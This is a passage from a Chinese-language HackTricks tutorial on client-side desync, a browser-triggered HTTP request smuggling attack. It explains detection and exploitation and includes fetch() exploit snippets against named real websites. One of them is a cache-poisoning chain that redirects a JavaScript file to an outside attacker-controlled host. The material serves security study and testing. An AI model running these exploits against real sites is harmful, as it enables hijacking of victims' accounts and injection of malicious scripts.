# 浏览器HTTP请求劫持
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## CL.0/H2.0 浏览器兼容的分离
当**后端服务器**完全**忽略**了**内容长度**(CL)头时,就会出现此漏洞。然后,后端将**请求体**视为**第二个请求方法的开始**。忽略CL等同于将其视为值为0,因此这是一个CL.0分离 - 一个已知但较少探索的攻击类别。
![](<../../.gitbook/assets/image (3) (1) (2).png>)
攻击之所以可能是因为后端服务器根本**不期望收到POST请求**。
{% hint style="warning" %}
请注意,此漏洞是由一个完全**有效**、符合规范的**HTTP请求**所**触发**的。这意味着**前端无法对其进行保护**,甚至可以由浏览器触发。
{% endhint %}
**CL.0**和**H2.0**之间唯一的**区别**是后者使用了**HTTP2**(具有隐式内容长度头),但**后端也没有使用**。
## 客户端分离
传统的分离攻击会**破坏**前端和后端服务器之间的**连接**,因此在不使用前端/后端架构的网站上是不可能的。从现在开始,这些都是**服务器端分离**。大多数**服务器端分离**只能由**自定义的HTTP客户端发出格式错误的请求**来触发。
浏览器能够引起分离的能力开启了一整个新的威胁类别,称为**客户端分离**(CSD)。\
CSD攻击始于**受害者访问攻击者的网站**,然后使其浏览器发送**两个跨域请求到易受攻击的网站**。**第一个**请求被设计为**分离浏览器的连接**,并使**第二个请求触发**一个有害的响应,通常是让攻击者控制受害者的账户。
### 检测
CSD向量是一个具有**两个关键属性**的HTTP请求。
首先,**服务器必须忽略请求的内容长度(CL)**。这通常是因为请求**触发了服务器错误**,或者服务器根本**不期望将POST请求**发送到所选的端点。尝试针对**静态文件**和**服务器级重定向**进行攻击,并通过**过长的URL**和**半格式错误**(如 /%2e%2e)来触发错误。
其次,请求必须能够在**Web浏览器跨域**中触发。浏览器严格限制对跨域请求的控制,因此您对头部的控制权有限,如果请求有请求体,则需要使用HTTP POST方法。最终,您只能**控制URL**,以及一些其他杂项,如**Referer头部**、**请求体**和**Content-Type的后半部分**。
#### 忽略CL测试
测试此配置错误的方法是**发送2个请求并劫持其中一个**。如果**劫持的**连接**影响了第二个请求的响应**,则表示它是**易受攻击的**:
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
{% hint style="warning" %}
请注意,您**不能**仅通过发送一个**比已发送的Content-Length更大**的Content-Length并**查找超时**来测试此漏洞,因为一些服务器即使没有接收到整个请求体也会**响应**。
{% endhint %}
需要注意的是,目标网站是否支持HTTP/2。CSD攻击通常利用HTTP/1.1的连接重用,而Web浏览器在可能的情况下更喜欢使用HTTP/2,因此如果目标网站支持HTTP/2,则您的攻击可能不起作用。有一个**例外**;一些**转发代理不支持HTTP/2**,因此您可以利用使用它们的任何人。这包括企业代理、某些侵入式VPN甚至一些安全工具。
### 确认
首先,选择一个用于发起攻击的站点。该站点必须通过HTTPS访问,并且位于与目标不同的域上。
接下来,确保您没有配置代理,然后浏览到您的攻击站点。打开开发者工具并切换到网络选项卡。为了帮助调试潜在的问题,我建议进行以下调整:
* 选择“保留日志”复选框。
* 右键单击列标题,启用“连接ID”列。
切换到开发者控制台并使用fetch()执行JavaScript来复制您的攻击序列。可能会看起来像这样:
```javascript
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
```
我已将获取模式设置为'no-cors',以确保Chrome在网络选项卡中显示连接ID。我还设置了'credentials: 'include'',因为Chrome有两个单独的连接池-一个用于带有cookie的请求,另一个用于不带cookie的请求。通常,您希望利用导航,并且这些导航使用'with-cookies'池,因此值得养成始终污染该池的习惯。
当您执行此操作时,您应该在网络选项卡中看到两个具有相同连接ID的请求,第二个请求应该触发404错误:
![](<../../.gitbook/assets/image (158) (2).png>)
如果一切按预期工作,恭喜您-您发现了一个客户端解同步漏洞!
### 利用-存储
一种选择是识别目标站点上允许您存储文本数据的功能,并制作前缀,以便您的受害者的cookie、身份验证标头或密码最终被存储在您可以检索的位置。此攻击流程与服务器端请求解同步几乎完全相同,因此我不会详细介绍。
### 利用-链式攻击
在正常情况下,许多类别的服务器端攻击只能由直接访问目标网站的攻击者发起,因为它们依赖于浏览器拒绝发送的HTTP请求,例如篡改HTTP标头-Web缓存污染、大多数服务器端请求解同步、主机标头攻击、基于用户代理的SQLi、CSRF JSON内容类型和其他许多攻击。
成功攻击的最简单路径来自通常用于服务器端解同步攻击的两个关键技术:通过主机标头重定向进行JavaScript资源污染和使用HEAD方法通过有害HTML拼接响应。这两种技术需要进行适应,以克服与在受害者的浏览器中操作相关的一些新挑战。
## 攻击示例
### 堆叠的HEAD示例
* 彩色攻击
![](<../../.gitbook/assets/image (2) (3).png>)
* JS攻击
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
```
解释:
* 在 /assets 中滥用 CL.0(它重定向到 /assets/ 并且不检查 CL)
* 利用一个 HEAD 请求(因为 HEAD 响应仍然包含 content-length)
* 利用一个 GET 请求,其内容将在响应中被反射,并带有有效载荷。
* 由于 HEAD 请求的 content-length,此请求的响应将是 HEAD 请求的正文
* 设置 cors 模式。通常不会这样做,但在这种情况下,服务器对初始 POST 的响应是一个重定向,如果跟随,则 exploit 将无法工作。因此,使用 cors 模式来触发错误并使用 `catch` 重定向受害者。
### Host header 重定向 + 客户端缓存污染
* JS exploit
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* 通过在Host头中使用**不同的域名**发送到`/+webvpn+/`的请求会被**重定向**到Host头中的该**域名**的`/+webvpn+/index.html`。
* 第二个请求中的位置被设置为`/+CSCOE+/win.js`,以便**污染**该`.js`文件的**缓存**。
* 这个请求将被回答为将`/+webvpn+/`重定向到攻击者的域名,并带有路径`/+webvpn+/index.html`。
* **`win.js`**的**缓存**将被**污染**为重定向到攻击者的页面,但受害者也会**跟随**重定向,因为它在`location`变量中被分配,并最终进入攻击者的网页。
* 攻击者随后将**受害者**重定向到`https://redacted/+CSCOE+/logon.html`。该页面将导入`/+CSCOE+/win.js`。其**缓存是一个重定向**到攻击者的服务器,因此,攻击者可以**响应恶意JS**。
**受害者**将**两次访问**攻击者的页面,第一次它**期望一个HTML**将受害者重定向回`https://redacted/+CSCOE+/logon.html`,第二次它**期望javascript代码**(有效载荷)。可以使用多语言来仅使用一个响应提供这两个响应:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/**/
```
### 使用分块传输编码的 HEAD 负载
在寻找 CSD 时,您还可以测试半格式错误的 URL,如 `/..%2f` 或 `/%2f`。
* **彩色利用**
![](<../../.gitbook/assets/image (5) (2) (1).png>)
* **JS 利用**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /